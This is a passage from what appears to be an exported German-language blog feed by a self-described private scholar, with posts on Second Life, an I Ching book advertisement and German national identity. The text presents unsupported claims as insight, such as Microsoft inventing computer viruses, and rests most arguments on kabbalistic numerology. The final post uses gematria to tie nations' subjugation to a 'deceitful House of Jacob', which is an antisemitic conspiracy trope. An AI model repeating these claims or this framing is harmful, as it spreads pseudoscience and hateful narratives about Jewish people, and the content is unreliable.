nicht mitmachen. Spencer Beaumont hat kein Geschlechtsteil. Das müsste ich erst
besorgen, auch wieder für Geld.“</em></span></p>

<p class="MsoNormal"><span lang="DE-CH">Mit anderen
Worten: Wer durch den SPIEGEL-Artikel als Deutscher geil gemacht wird auf das
angeblich <em>kostenlose</em> sexuelle
„Mitmachen“ im „Second Life“, tritt dort erst einmal in völlig unattraktiver
Aufmachung an, zudem auch noch geschlechtslos. Beides lässt sich indes beheben,
doch sind dafür – je nach Wunschvorstellung – erhebliche Geldmittel
erforderlich. Vermutlich ist eine massive „Eintrittsgebühr“ nur der Anfang, die
nachfolgenden monatlichen „Kleinstraten“ summieren sich dann wohl jeweils ganz
erheblich. Doch das ist nicht der Kern.</span></p>

<p class="MsoNormal"><span lang="DE-CH">Vor etwa zehn
Jahren hatte ich ein längeres Gespräch mit einem schweizerischen Erfinder, auf
den die inzwischen bekannten miniaturisierten „Sparlampen“ zurückgehen. Er war
überzeugt, dass dem <em>„Datenhandschuh“</em>
die Zukunft gehöre. Dieser vernetzte Handschuh, so der besagte Erfinder damals,
bewirkt beim Benutzer, dass er auf dem Bildschirm etwas sieht und gleichzeitig
empfindet, in diesem virtuellen Raum „dabei zu sein“. Er führte als Beispiel
eine Fahrt im Fahrstuhl an – wo ja, so möchte ich erklärender Weise hinzufügen,
allen noch nicht „geeichten“ Personen erotische Gefühle widerfahren. Es geht,
unausgesprochen, um den <em>virtuellen
Geschlechtsverkehr</em>, bei dem der Teilnehmer – männlich oder weiblich – sich
ein entsprechendes und gegen Geld zu besorgendes „Gerät“ am Penis oder in der
Scheide befestigt, mit dem er/sie dann „life“ in einsamer Weise, jedoch höchst
wirkungsvoll vor dem Bildschirm, „den Geschlechtsverkehr vollzieht“, in
Kurzform: sich selbst befriedigt.</span></p>

<p class="MsoNormal"><span lang="DE-CH">Was besagt das hier?
Es besagt, dass die kostenlose Mitgliedschaft in der Internet-Plattform „Second
Life“ nur ein erster Verführungsschritt ist – etwa analog den Bankomat-Karten,
die zunächst gratis waren und das Verhalten der Konsumenten rigoros
veränderten, dann aber später zunächst CHF 20,– und dann CHF 40.– pro Jahr
kosteten. </span></p>

<p class="MsoNormal"><span lang="DE-CH">Meine Prognose:
Wer also die Internet-Plattform „Second Life“ mit lüsternen Hintergedanken
betritt, hat mit folgender Entwicklung zu rechnen:</span></p>









<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Er muss seinem Avatar zunächst ein Geschlechtsteil verpassen, für das er
jedoch zu zahlen hat. Es darf davon ausgegangen werden, dass hier eine
Entwicklung einsetzt wie seinerzeit bei der ausdrücklich als „sozial“
postulierten Swatch-Armbanduhr: Diese war zunächst einfarbig schwarz, dann aber
wurde die Kollektion immer breiter, bunter und unübersichtlicher, vor allem
aber auch modischer.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>„Mode“ beim Geschlechtsteil? Aber sicher. Bei Menschen, die
Geschlechtsverkehr mit Drittpersonen haben, ist es derzeit üblich, dass die
Schamhaare abrasiert sind. Nun wird aber gerade die weitere „Mode“ lanciert,
dass alle schamhaarrasierten Männer sich ihren Penis beschneiden lassen sollen,
weil es hygienischer sei und besser aussähe. In den Illustrierten werden für
eine solche Beschneidung Preise von 300 bis 600 Euro genannt. So eine
(irreversible) „Mode“ wird dann früher oder später auch in „Second Life“ zum
Standard und auch hier wird das nicht kostenlos vonstatten gehen, ganz im
Gegenteil.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>„Second Life“ wird sich zu einer flächendeckenden
Selbstbefriedigungs-Maschinerie für die westliche Welt entwickeln, an die
Stelle von Pornoheften und Pornofilmen tritt ein virtueller Partner oder es
werden gar mehrere Partner ins Spiel gebracht. Auf diese Weise wird dem ständig
zunehmenden „Heer der Arbeitslosen“ der libidinöse Druck genommen, der bisher
durch Arbeit sublimiert werden konnte.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Es werden sich „virtuelle Geschlechtskrankheiten“ entwickeln, die sich
hemmend auf das jenseitig-diesseitige Geschlechtsleben auswirken, aber durch
entsprechende, honorarpflichtige<span>&nbsp;
</span>Behandlungen im „Second Life“ wieder beheben lassen.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Durch die Ausrüstung mit dem „Datenhandschuh“ in der hiesigen Welt
entsteht eine geistige Verbindung und Vereinigung mit der virtuellen Welt des
„Second Life“, so dass mit der Zeit beide verschmelzen können und der Benutzer
ein Fall für die Psychiatrie wird.</span></p>

<p class="MsoNormal"><span lang="DE-CH">Man kann „Second
Life“ durchaus mit dem Programm „Windows“ von Microsoft vergleichen: Das
fixfertige Produkt liegt von Anfang an vor (so meine Überzeugung), doch man
steigt mit einer höchst unfertigen Version ins Geschäft und verkündet dann Jahr
für Jahr „Verbesserungen“ und „Neuerung“, so dass die Anwender ihre Anlagen
beständig nachrüsten müssen, gegen Bezahlung, versteht sich. Auch die „Viren“,
eine Erfindung von Microsoft selbst (so meine Überzeugung), lassen sich analog
nach „Second Life“ übertragen. Dasselbe gilt für das „Hacker“-Problem, nur das
hier nicht das individuelle Computer-Programm von unbekannten Dritten und von
aussen „geknackt“, manipuliert und ferngesteuert wird, sondern das individuelle
Gehirn.</span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Meine Beurteilung dieser „Revolution“<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Im
SPIEGEL-Interview vergleicht Herr Weibel die Plattform „Second Life“ mit der
„Arche Noah“. Ausserdem unterscheidet er zwischen einer <em>Parallelwelt</em> und einer <em>Alternativwelt</em>
und betont, dass <em>die Hoffnung auf ein
zweites, neues Leben</em> die wichtigste Heilserwartung der Christen sei.<span>&nbsp; </span>Dazu einige Anmerkungen:</span></p>









<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Das Wort „Plattform“ hat es in sich, denn mit der „platten“ Form oder der
Form einer „Platte“ ist nichts anderes als „die Welt als Scheibe“ gemeint, also
die Vorstellung der alten Griechen, wonach die Erde eine Scheibe sei und vom
himmlischen „Okéanos“ umflossen werde. Hierher aber gehört auch die
Vorstellung des Alten Testaments von den <em>„vier Ecken der Welt“</em>, die dann in die
„Apokalypse“ (= die Offenbarung des Johannes) übernommen wurde.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Wenn Sie nun im Menü oben rechts zu dieser Kategorie den Link
„Masterplan“ anklicken, gelangen Sie zu einer von mir aufgedeckten und
erforschten Abbildung, die oben das Grundschema des Geistes als viereckige
Scheibe und darunter die Matrix der Seele – ebenfalls als „Scheibe“ – zeigt.
Drucken Sie diesen „Masterplan“ aus, er enthält den Heilsweg.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Die ominöse „Arche Noah“ ist identisch mit der individuellen Seele!
Diese wird aber auch durch das „Kirchenschiff“ symbolisiert und ist das Gefährt
des Lebens schlechthin, mit dem man nahezu immer „Schiffbruch“ im Leben
erleidet – mangels einer zuverlässigen „Seekarte“. Diese Seekarte aber ist das
Grundschema des Geistes mit den vier verschiedenen Atmosphären innerhalb des
24-Stunden-Tageskreises der Sonne und den „vier Ecken der Welt“, deren Kenntnis
und Beachtung für die richtige Navigation unerlässlich sind.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Die Seele kann aber von sich selbst her nicht gesteuert werden, sondern
nur von aussen, vom Geist her. Die Seele ist also die „Terra incognita“, das
„unbekannte“, unerforschte Gebiet, das Neuland. <em>Sie entspricht der</em>
<em>Internet-Plattform „Second Life“</em>. Ich habe die Seele durch meine
Forschungsarbeiten jedoch vollständig aufgedeckt und eine dazu „Road-Map“
angefertigt, die oben in der Mitte mit dem „reinen Wasser“ beginnt, zum
Nährboden gelangt, von dort zum Immunsystem, dann zum alternativen Schöpfungs-System
(aerob/anaerob) und schliesslich zur Lebenskraft.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Die von mir aufgedeckte Synchronizität zwischen Seele und Geist, das
<em>„Parallelogramm der Kräfte“,</em> besagt, dass die vier Seelenfelder oben links den
vier grundverschiedenen Atmosphären des Tageskreises im Grundschema des Geistes
entsprechen, und die vier Seelenfelder unten rechts den vier Ecken der Welt.
Auf diese Weise kann die Seele vom Geist her gesteuert werden, ohne Schiffbruch
zu erleiden.</span></p>

<p class="MsoNormal"><span lang="DE-CH">Zum <strong>„Maskenball“</strong>:
Mit der „maskierten“ Stellvertreter, dem Avatar,&nbsp; ist die <em>denaturierte</em> Seele gemeint, also das
dauerhafte <em>anaerobe </em>Leben unter Sauerstoffabschluss, so dass an die Stelle der
gesunden Oxidation (= Verbrennung) die krank machende Gärung (= Vergasung)
tritt. Der Maskenball ist also eine Metapher für eine seelische Parallelwelt,
die genau so krank ist wie unser Gehirn mit seinen eingeimpften
Fehlvorstellungen zu allen Dingen des Lebens. Die von Herrn Weibel zu recht
erwähnte <em>Alternativwelt </em>umfasst jedoch nicht nur die geheilte, also aerobe
Seele, sondern auch ein tägliches Leben, das nach der geistigen „Seekarte“
ausgerichtet ist.</span></p>

<p class="MsoNormal"><span lang="DE-CH">In der
Gratiszeitung „20 minuten“ vom 22.2.2007 wird das PC-Game „Maelstrom“
vorgestellt. Es <em>„zeichnet ein düsteres
Endzeitepos unserer Welt im Jahr 2050 … Maelstrom bezeichnet einen gefürchteten
Gezeitenstrom zwischen zwei norwegischen Inseln, dem die Kraft zugeschrieben
wird, Schiffe zu verschlingen. Der Strudel hat Jules Verne und Edgar Allen Poe
inspiriert. Ein geladener Begriff also, und wer ein Game so betitelt, hat
Grosses vor. Tatsächlich befindet sich im Echtzeit-Strategiespiel ‚Maelstrom’ die
Erde in einem gewalttätigen Strudel. Die Menschen haben ihren Heimatplaneten
kaputt gemacht, zwei Fraktionen, die Aufrechten und die Kosmitron … kämpfen um
die Vorherrschaft. Der Spieler beginnt als Dirigent der Aufrechten, um sie
strategisch geschickt in den Kampf zu führen.“ </em>Mein Kommentar: Dieser
„Mahlstrom“ ist die Sintflut, ist der Okeanos der Griechen, ist die Abfolge der
vier grundverschiedenen täglichen Atmosphären. In der chaldäischen Kabbala sind
„Jahreszahlen“ stets als numerische Metaphern zu verstehen. Die Zahl 2050 lässt
sich auf 205 reduzieren, zu diesem Wert existiert der bibelhebräische Begriff
ChBL HKSP „chevel há-kesef“ aus Koh 12,6 für „<em>die Silberschnur, bildliche Bezeichnung für den Lebensfaden, nach</em> <em>anderen speziell für das Rückenmark“</em>
[Gesenius 210]. Tiefer will ich hier nicht gehen.</span></p><p>NACHTRAG 1: In der Gratiszeitung &quot;20 minuten&quot; vom 21.2.2007 befasste sich ein viertelseitiger Beitrag ausführlich mit &quot;Second Life&quot;. Darin heisst es: <em>&quot;Die Zahl der Second-Life-Mitglieder hat sich seit September 2006 vervierfacht. 3,7 Millionen Menschen aus aller Welt haben sich bisher einen Avatar, einen virtuellen Stellvertreter, zugelegt &#8230; Dieser Erfolg der virtuellen Parallel-Welt hat auch seine Schattenseiten: Wer sich in einen Laden namens &#8216;Waffenamt - Germany Military&#8217; teleportieren lässt, findet dort eine ganze Menge Weltkriegs-Devotionalien, die zum Kauf angeboten werden. Der Laden ist &#8216;geschmückt&#8217; mit Hakenkreuzen, in den Ecken stehen Kanister, die mit Zyklon B angeschrieben sind und in den Regalen findet sich ein &#8216;SS-Totenkopf Honor Ring&#8217;. Plakate mit Namen wie &#8216;Der Jude&#8217;, &#8216;Flammenwerfer vor&#8217;, &#8216;Hitler With the Kids&#8217; und &#8216;Schafft Waffen für die Front&#8217; können für eine Hand voll Dollar heruntergeladen werden. Was im realen Deutschland längst verboten ist, stellt für die Verantwortlichen von Second Life kein Problem dar. Sie walten strikt nach der Regel: Keine Zensur von politischen Meinungen.&quot;</em></p><p><em></em>NACHTRAG 2: Beim Aufräumen stosse ich im jüdischen Wochenmagazin &#8216;tachles&#8217; 4 vom 26.1.2007 auf die Titelgeschichte &quot;Virtuelle Realität. Erste Synagoge im &#8216;Second Life&#8217;&quot;. Auch hier: Auf der Titelseite ist eine animierte junge Frau zu sehen mit schwarzem üppigen Haar, fragendem Blick, vollen Lippen und einem aufreizenden Busen, der durch ein hauchdünnes, fleischfarbenes Etwas &quot;verhüllt&quot; wird. Der Artikel selbst ist überschrieben mit &quot;Willkommen im zweiten Leben&quot; und behandelt die &quot;Erste virtuelle Synagoge im Netz&quot;. Der einleitende Text beginnt mit den Worten: <em>&quot;Letzten Freitag organisierte Beth Odets in ihrer Synagoge den allerersten globalen Kabbalat-Schabbat-Marathon, der über 12 Stunden dauerte &#8230; Viele Gäste, die noch lange im Innern der Synagoge blieben, um mit den anderen Gästen aus Tel Aviv, Köln, Amsterdam oder San Francisco zu diskutieren, waren sich einig: &#8216;Das war ein historischer Moment.&#8217; &#8230; Dieses Schabbat-Marathon soll nun jede Woche stattfinden &#8230; Man braucht nur einen Computeranschluss. Der Grund? Beths Synagoge befindet sich im sogenannten &#8216;Second Life&#8217;. Alle Ortszeiten sind daher nach Second-Life-Time (SLT) neun Stunden vor der mitteleuropäischen Zeit eingestellt &#8230; Im Prinzip funktioniert &#8216;Second Life&#8217; wie das richtige Leben&#8217; &#8230; Durch die Anonymität des Chats traut man sich mehr, doch im &#8216;Second Life&#8217; hat man gleich eine ganz andere Identität &#8230; Die Synagoge entstand Ende August 2006 in nur drei Stunden Arbeit und wird seitdem weiterentwickelt &#8230; Während &#8216;Second Life&#8217; mehr und mehr kommerzialisiert wird und mittlerweile Firmen wie Toyota und Reebok hier ihre Produkte testen, repräsentiert Beth Odets die Grundidee dieser virtuellen Welt. Sie will eine friedvolle Gemeinschaft bilden &#8230; Wenn eine Person sich länger im &#8216;Second Life&#8217; aufhält, wird sein Atavar immer mehr zu ihm selbst &#8230; Inspiriert durch Beths Erfolg hat Reuven nun in &#8216;Second Life&#8217; eine Kopie der Klagemauer errichtet.&quot;</em></p><p style="text-align: justify;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span><em><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></em><span lang="DE-CH">&#9679;<span>&nbsp; </span><em>Dirk Schröder, unabhängiger Privatgelehrter, CH-2502 Biel</em></span></p><p align="left" style="text-align: justify;" class="MsoNormal"><span lang="DE-CH"><em><o:p /></em><o:p /></span><span lang="DE-CH" style="font-size: 10pt;"><font size="1">LITERATURVERZEICHNIS: <strong><em><span>Gesenius</span></em></strong>, Wilhelm, „Hebräisches und aramäisches
Handwörterbuch über das Alte Testament“, unveränderter Neudruck der 17. Auflage
von 1915, Berlin-Göttingen-Stuttgart 1992</font> <o:p /></span></p>



<p class="MsoNormal"><span lang="DE-CH"><o:p><em><br /><o:p /></em></o:p></span></p>

<p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>


 <a href="http://www.kabbalaschule.ch/blog/?p=30#more-30" class="more-link">&#8211;></a>]]></content:encoded>
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		<item>
		<title>I</title>
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		<pubDate>Tue, 13 Feb 2007 21:22:52 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Lebensfragen]]></category>

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		<description><![CDATA[



&#160;



&#160;

Das chinesischen „I Ging“, das „Buch der
Wandlung“, ist im Westen nur als Orakelspiel be-kannt, obwohl es von Konfuzius
(551-479 v. Chr.) zusammen mit seinem Kommentar dazu in die Reihe der „Neun
Klassiker“ Chinas aufgenommen wurde, dazu noch prominent an erster Stelle.
Diese Sammlung gilt als die Lehre des Konfuzius und China ist gegenwärtig
dabei, sich wieder auf diesen grossen [...]]]></description>
			<content:encoded><![CDATA[

<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><br /></span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>



<p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>

<p class="MsoNormal"><span lang="DE-CH">Das chinesischen „I Ging“, das „Buch der
Wandlung“, ist im Westen nur als Orakelspiel be-kannt, obwohl es von Konfuzius
(551-479 v. Chr.) zusammen mit seinem Kommentar dazu in die Reihe der „Neun
Klassiker“ Chinas aufgenommen wurde, dazu noch prominent an erster Stelle.
Diese Sammlung gilt als die Lehre des Konfuzius und China ist gegenwärtig
dabei, sich wieder auf diesen grossen Gelehrten zu besinnen. </span></p>

<p class="MsoNormal"><span lang="DE-CH">Doch das „I Ging“ ist auch und vor allem
ein Weisheitsbuch, dessen Bedeutung jedoch bis heute im Westen unbekannt blieb.
Der Schweizer Psychologie C. G. Jung bezeichnete das I Ging als einen
„archimedischen Punkt“, von dem aus die Geisteshaltung des Abendlandes bis in
ihre Grundlagen erschüttert werden könnte. Was wusste Jung über dieses
Weisheitsbuch?</span></p>

<p class="MsoNormal"><span lang="DE-CH">Ich habe nun, offensichtlich als erster
Nichteingeweihter, das Geheimnis dieses Weisheitsbuches vollständig aus eigener
Kraft enträtselt. Was dabei zum Vorschein kam, ist tatsächlich verblüffend,
nämlich das gemeinsame Fundament von Wissenschaft, Religion und Philosophie.
Damit ist es möglich geworden, das uferlos gewordene Wissen, die Sintflut der
Informationen zu bändigen und auf das erträgliche Mass zurechtzustutzen.</span></p>

<p class="MsoNormal"><span lang="DE-CH">Vor allem aber wird eine neue geistige Idee
sichtbar, wie sich Europa noch retten kann vor der beginnenden Übermacht der
bisherigen „Entwicklungsländer“ China, Indien und Brasilien. Denn wenn China
die USA als neue Weltmacht und der Yuan den US-Dollar als neue Weltleitwährung
abgelöst haben und der Westen zusammenbricht und verarmt, wird China gnadenlos
sein gegenüber den Weissen, so wie diese es Jahrhunderte lang waren gegenüber
dem Rest der Welt. </span></p>

<p class="MsoNormal"><span lang="DE-CH">Ich habe zu diesem aufgedeckten Wissen ein
Buch von 88 Seiten verfasst, das im Anhang auch noch das Buch „Tao Te King“ von
Laotse mit seinen 81 Versen völlig neu erklärt sowie auch das Buch des Zürcher
Sinologen Professor Dr. Harro von Senger über die 36 Strategeme der heimlichen
chinesischen Kriegsführung. Weitere Informationen zum Inhalt können Sie aus der
nachfolgenden Übersicht ersehen:</span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span>INHALTSVERZEICHNIS<o:p /></span></strong></p>

<p class="MsoNormal"><strong><span>EINLEITUNG – </span></strong><span>Das geheimste aller Bücher wird geknackt<span>&nbsp; </span>1 – „I Ging“, das „Buch der Wandlungen“<span>&nbsp; </span>2 – „Buch des Stetigen und der Wandlung“<span>&nbsp; </span>4<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><strong><span>DIE ACHT
TRIGRAMME – </span></strong><span>Die herkömmliche
Erklärung<span>&nbsp; </span>6 – Die Entstehung der Acht
Urbilder<span>&nbsp; </span>8 – Die Bedeutung der Acht
Urbilder<span>&nbsp; </span>11<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><strong><span>DER KOSMISCHE
KREIS – </span></strong><span>Das geistige Grundschema
des I Ging<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span> 17 – Die antike
Vier-Elementen-Lehre<span>&nbsp; </span>19<strong><span> – </span></strong>China,
das mysteriöse „Land der Mitte“<span>&nbsp; </span>21<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><strong><span>I GING UND DIE
SEELE – </span></strong><span>Die unbekannte Matrix der
Seele<span>&nbsp; </span>25 – Die acht Ur-Bilder des I Ging
und die Seele<span>&nbsp; </span>27<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><strong><span>DIE
SYNCHRONIZITÄT – </span></strong><span>Die Steuerung
der Seele<span>&nbsp; </span>31 – Alchemie oder die
Goldmacher-Kunst<span>&nbsp; </span>35 – Die
Zwölfer-Zyklen<span>&nbsp; </span>37 – „Vom richtigen
Gebrauch der Zeit“<span>&nbsp; </span>39 – Von der Schwerkraft
und anderen Kräften<span>&nbsp; </span>41 – Das Geheimnis der
„Inneren Uhr“ und der „Zeit“<span>&nbsp; </span>43 – Andere
unerwartete Bezüge zum Tageskreis<span>&nbsp; </span>46<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><strong><span>DIE
PSYCHOTHERAPIE – </span></strong><span>Die<span>&nbsp; </span>Neubegründung der Psychotherapie<span>&nbsp; </span>51 – Die praktische Psychoanalyse<span>&nbsp; </span>54 –<strong><span> </span></strong>Die praktische Selbsttherapie<span>&nbsp; </span>55<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><strong><span>DER TAG DES
GERICHTS – </span></strong><span>An selbigem Tage schwindet
die Herrlichkeit Jakobs<span>&nbsp; </span>57 – Der Grosse
Tag des Ewigen<span>&nbsp; </span>59<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><strong><span>ANHANG – </span></strong><span>I. Das „Tao te king“<span>&nbsp; </span>63 – II. Die 36 Strategeme<span>&nbsp; </span>68 – III. Das Geheimnis des Namens „I
Ging“<span>&nbsp; </span>75 – IV. Die chinesische
Weltherrschaft<span>&nbsp;&nbsp;</span><span></span>78 – V. Wann kommt der elektronische
Super-Gau? 80 – V. Kabbalistische Analyse zur „Inneren Uhr“<span>&nbsp; </span>84 – Literaturverzeichnis 85<strong><span><o:p /></span></strong></span></p>

<p class="MsoNormal"><span lang="DE-CH">Der Preis für diese epochale Schrift ist
CHF 45,– / EUR 30,– zuzüglich Versandspesen. Abonnenten der „Bieler
Wirtschaftsbriefe“ und des „Ewigen Bundes“ erhalten die Schrift unverlangt
zugesandt mit einem Rabatt von 33 Prozent. Nicht-Abonnenten können die Schrift
über die Homepage der Kabbala-Akademie bestellen.<o:p /></span></p>

<p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>


 <a href="http://www.kabbalaschule.ch/blog/?p=29#more-29" class="more-link">&#8211;></a>]]></content:encoded>
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		</item>
		<item>
		<title>&#34;Die</title>
		<link>http://www.kabbalaschule.ch/blog/?p=28</link>
		<comments>http://www.kabbalaschule.ch/blog/?p=28#comments</comments>
		<pubDate>Fri, 02 Feb 2007 14:41:29 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Politik]]></category>

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		<description><![CDATA[



&#160;

„Die Erfindung der Deutschen“



Das war der Titel vom SPIEGEL Nr.
4/22.1.2007, der Untertitel lautete: „Wie wir wurden, was wir sind“. Die
Titelgeschichte selbst (Seite 46-66), Anfang einer Spiegel-Serie, war
überschrieben mit „Ein Volk entdeckt sich selbst“. Dann sieht man Bilder:
Kaiser Otto der Grosse, Kaiserkrönung Friedrichs II. 1220, Luther 1517,
Preussenkönig Friedrich der Grosse, die Dichterfürsten Goethe und Schiller,
Reichskanzler Otto [...]]]></description>
			<content:encoded><![CDATA[

<p align="center" class="MsoNormal" style="text-align: center;"><span lang="DE-CH"><br /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">„Die Erfindung der Deutschen“<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH">Das war der Titel vom SPIEGEL Nr.
4/22.1.2007, der Untertitel lautete: „Wie wir wurden, was wir sind“. Die
Titelgeschichte selbst (Seite 46-66), Anfang einer Spiegel-Serie, war
überschrieben mit „Ein Volk entdeckt sich selbst“. Dann sieht man Bilder:
Kaiser Otto der Grosse, Kaiserkrönung Friedrichs II. 1220, Luther 1517,
Preussenkönig Friedrich der Grosse, die Dichterfürsten Goethe und Schiller,
Reichskanzler Otto von Bismarck, NS-Diktator Adolf Hitler. Im Text heisst es unmissverständlich:
<em>„Am Anfang war das Reich, erst darin
entstand ein</em> <em>Volk.“</em> Anfang? So kann man die Nazi-Herrschaft unter Hitler auch charakterisieren! Eine
Europakarte mit dem Titel „Deutsche Anfänge“ zeigt ein „Ostfränkisches Reich“,
das grob der BRD vor der Wiedervereinigung entsprach, westlich davon das
„Westfränkische Reich“, das grob dem heutigen Frankreich entsprach, und
zwischen beiden ein „Mittelreich“, das von Friesland im Norden über die Schweiz
bis nach Genua und Florenz im Süden reichte und an den damals gewaltig
ausgedehnten römischen „Kirchenstaat“ angrenzte. Doch mit den Darstellungen im
SPIEGEL bin ich in keiner Weise einverstanden, da hier den Deutschen als Volk
eine Last der angeblichen „Selbsterfindung“ aufgebürdet wird, obwohl der
„Deutsche“ ein Kunstprodukt ist, das durch fremde Eroberer nach deren Willen
geformt wurde – bis heute!</span></p>

<p class="MsoNormal"><em><span lang="DE-CH">„Am
Anfang war das Reich, erst darin entstand ein Volk.“</span></em><span lang="DE-CH"> Das wird historisch tatsächlich so gewesen sein, wenn man „Volk“ definiert als
geschickt versklavte und aufgelöste beheimatete Sippen und Stämme mit jeweils eigenen, tradierten Gesetzen und Bräuchen, denen man
eine <em>„gemeinsame“</em> Ideologie wie Sprache, Geld, Religion, Rechtssprechung,
Kleidung, Nahrung, soziales Verhalten und Familienleben als Verhaltenskorsett
überstülpte. Wie ein „Reich“ entsteht, kann man in der (legendären) Gründungsgeschichte des
dann später allgewaltigen Mongolen-Reiches nachlesen [Taube 11f.]:</span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><span lang="DE-CH">35 <em>„Darauf erwiderte
     Bodon&#269;ar: ‚Bei dem Volk, das sich jetzt am Tünggelik-Bach aufhält, gibt es
     keinen Unterschied zwischen Gross und Klein, Böse und Gut, Kopf und Huf –
     alle sind gleich. Dieses Volk ist leicht in Besitz zu nehmen. Wir wollen
     es rauben!“</em></span></li><li class="MsoNormal"><span lang="DE-CH">39 <em>„Die fünf Brüder
     raubten gemeinsam jenes Volk und gelangten so zu Herden und Nahrung, zu
     Leuten und Dienern, zu einem Ort zum Leben und Wohnen.“</em></span></li></ul>

<p class="MsoNormal"><span lang="DE-CH">Mit dem Wort „Volk“, das oben dreimal
vorkommt, ist also die Sippe oder der Stamm der Leute vom Tünggelik-Bach gemeint.
Zum „Volk“ erzogen wurden sie erst, nachdem sie und ihre Habe in gewaltsamer
Weise zum Eigentum der fünf Brüder wurden, die alles unter sich aufteilten.&nbsp;<br /> </span></p>

<p class="MsoNormal"><span lang="DE-CH">Die übliche Etymologie von „Volk“ wird mit
Hebräisch PLG angegeben, was dann sinngemäss „Abteilung eines Stammes“
bedeutet. Das ist, richtig gedeutet, zutreffend, doch meine Herleitung von
Hebräisch B-YL-K = „Volk“ ist aussagekräftiger, denn es bedeutet <em>„in</em> <em>Deinem
Joch“</em>, womit die kulturellen Zwangsvorgaben eines jeweils übergeordneten
„Stammes“ gemeint ist. Welche übergeordneten „Stämme“ können damit gemeint
sein? Das und noch vieles mehr verrät uns die <em>chaldäische</em> Kabbala. Denn der Äussere Wert von „Volk“ B-YL-K ist <strong>122</strong>, der Sofitwert <strong>602</strong>, der Verborgene Wert <strong>594</strong>,
der Totale Wert <strong>716</strong> und der Grosse
Wert <strong>1863</strong>. <em>Gematria</em>: </span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><span lang="DE-CH">122 = TsLB für <strong><em>„Kreuz“</em></strong>. Das ist das „Kreuz“
     des kulturell auferlegten Jochs, das ein jeder zu tragen hat, letzlich leidvoll bis zu seinem
     Tode.</span></li><li class="MsoNormal"><span lang="DE-CH">602 = QWMMJWTh für <strong><em>„Unabhängigkeit, Souveränität;
     aufrecht, stolz, furchtlos“</em></strong>. Das sind die ideologischen Grundbegriffe
     für ein solches Volk, die es ihm gewaltig erleichtern, das künstlich aufgebürdete kulturelle Joch
     zu er-<em>tragen</em>.</span></li><li class="MsoNormal"><span lang="DE-CH">594 = BJTh JYQB <strong><em>„das Haus Jakob“</em></strong>, auch „Israel“
     genannt, aus dem die zwölf Stämme hervorgegangen sind, die „Kinder
     Israels“. Durch Jakobs Betrug erhält er zu Unrecht den Vater-Segen und herrscht
     seither über seinen „Bruder“ Esau, der ihm dienen muss.</span></li><li class="MsoNormal"><span lang="DE-CH">716 = BJTh-MChWQQJM für <strong><em>„Parlament“</em></strong> und BJTh-DJN GBWH
     LTsDQ für <strong><em>„Oberstes Gericht“</em></strong>. Das sind die beiden Hauptinstrumente,
     um im Volk nachhaltig für „Recht und Ordnung“ zu sorgen.</span></li><li class="MsoNormal"><span lang="DE-CH">1863 = 9 x 207 = SWTsJALJ <strong><em>„sozial“</em></strong>. Mit der Vorgabe
     dieses Adjektivs als moralisches Konzept für Volk und Staat wird das Volk
     auf das Gemeinwohl verpflichtet und dem Staat der allgemeine ideologische
     Teppich geliefert, unter den er alle unvermeidbaren Ungerechtigkeiten des
     Einzelfalles kehren kann.</span></li></ul>

<p class="MsoNormal"><span lang="DE-CH">Die Frage nach den “Stämmen” wurde damit
beantwortet, sie gehen auf das betrügerische „Haus Jakob“ zurück. </span><span lang="EN-GB">In einer 1919 in den USA
publizierten Schrift heisst es: <em>„At the
time of the end of the world the children of Israel are described as the
European Nations; twelve nations of Europe being described as the twelve tribes
of Israel.“ </em>[Larsen 53]. </span><span>Aus
